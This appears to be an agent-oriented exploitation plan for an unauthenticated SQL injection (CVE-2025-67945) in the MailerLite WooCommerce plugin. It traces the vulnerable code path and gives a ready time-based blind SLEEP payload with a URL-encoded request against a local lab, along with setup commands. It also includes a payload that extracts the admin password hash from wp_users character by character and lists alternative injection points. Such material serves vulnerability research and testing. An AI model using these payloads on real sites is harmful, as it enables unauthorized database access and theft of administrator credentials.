Exploitation Research Plan: CVE-2025-67945 (MailerLite – WooCommerce integration)

1. Vulnerability Summary

The MailerLite – WooCommerce integration plugin (versions <= 3.1.2) is vulnerable to an unauthenticated SQL injection. The vulnerability exists in the WooMailerLitePluginController::reloadCheckout function due to the unsafe use of the user-supplied ml_checkout request parameter in a database query. The plugin uses a custom ORM-like structure where parameters are concatenated into LIKE clauses without sufficient escaping or using $wpdb->prepare for the value part of the query.

2. Attack Vector Analysis

• Endpoint: Any frontend page (e.g., the homepage or a WooCommerce shop page).
• Hook: Likely init or wp_loaded (where WooMailerLitePluginController::reloadCheckout is triggered).
• Vulnerable Parameter: ml_checkout (passed via GET or POST).
• Authentication: Unauthenticated (PR:N).
• Preconditions: WooCommerce must be installed and active so that WC()->session is initialized.

3. Code Flow

1. Entry Point: A request is made to the WordPress site containing the ml_checkout parameter.
2. Trigger: The WooMailerLitePluginController::reloadCheckout() method is called (likely via an init hook).
3. Requirement Check: The code checks if (!function_exists('WC') || !is_object(WC()->session)). If WooCommerce is active, it proceeds.
4. Input Extraction: It checks if ($this->requestHas('ml_checkout')).
5. Vulnerable Sink: It executes:

   $cart = WooMailerLiteCart::where('data', 'like', '%'.$this->request['ml_checkout'].'%')->first();
   

6. SQL Injection: The value of ml_checkout is concatenated into a LIKE string. If the where method of the WooMailerLiteCart model (or its parent class) does not properly sanitize this input or use prepared statements for the interpolated string, an attacker can break out of the LIKE clause and append arbitrary SQL.

4. Nonce Acquisition Strategy

Based on the source code in WooMailerLitePluginController.php, the reloadCheckout() function does not require a nonce. It is designed to reload a cart session from a request parameter, typically used when a user clicks a link from a MailerLite email.

5. Exploitation Strategy

We will perform a Time-Based Blind SQL Injection using the SLEEP() function to confirm the vulnerability.

Step-by-Step Payload Construction

• Base Query: SELECT * FROM wp_mailerlite_carts WHERE data LIKE '%[INPUT]%' LIMIT 1
• Goal: Inject SLEEP(5) if the condition is true.
• Payload: x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '%'='
• Resulting SQL (approximate): ... WHERE data LIKE '%x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '%'='%' LIMIT 1

Execution via Agent

1. Request: Send an HTTP GET request to the site root with the payload.
2. Tool: http_request.
3. URL: http://localhost:8888/?ml_checkout=x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%20AND%20%27%25%27%3D%27

6. Test Data Setup

1. Install WooCommerce: Required for the WC() object check.
2. Install MailerLite Integration: Version 3.1.2.
3. Configure Plugin: The plugin needs to be enabled.
   • wp option update woo_mailerlite_enabled 1
4. Create a Cart Entry (Optional but helpful): Ensure the table wp_mailerlite_carts exists.
   • The table is created upon activation.
   • If the query returns zero rows, SLEEP will still execute if the injection is in the WHERE clause and evaluated against rows (though LIKE against an empty table might skip evaluation). It's best to ensure at least one row exists.
   • wp db query "INSERT INTO wp_mailerlite_carts (hash, email, subscribe, data) VALUES ('test_hash', 'test@example.com', 0, '{\"checkout_id\": 123}')"

7. Expected Results

• Vulnerable Response: The HTTP request will hang for approximately 5 seconds before returning a response.
• Normal Response: A request with a benign ml_checkout value (e.g., ?ml_checkout=123) should return immediately.

8. Verification Steps

After confirming the time delay, verify the database schema to ensure targeting of sensitive data is possible:

1. wp db query "SELECT user_login, user_pass FROM wp_users" to confirm table access.
2. Use the injection to extract the admin password hash bit-by-bit:
   • Payload: x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a WHERE (SELECT SUBSTRING(user_pass,1,1) FROM wp_users WHERE ID=1)='$') AND '%'='

9. Alternative Approaches

If reloadCheckout is not triggered on the home page:

• Try the WooCommerce Shop page or Cart page: http://localhost:8888/shop/?ml_checkout=...
• Try a POST request instead of GET.
• If LIKE injection fails due to quote escaping, try a numeric-based injection if another parameter like signup or id is discovered in a where('id', ...) context.
• Check WooMailerLiteService::setCartEmail(): This function is triggered by the woocommerce_checkout_update_order_review AJAX action.
  • Action: wp_ajax_nopriv_woocommerce_checkout_update_order_review
  • Parameter: email or signup in $_POST.
  • Code Path: setCartEmail() calls WooMailerLiteCart::where('hash', ...) and cart->update(...). If email is not sanitized in the update, it's a sink.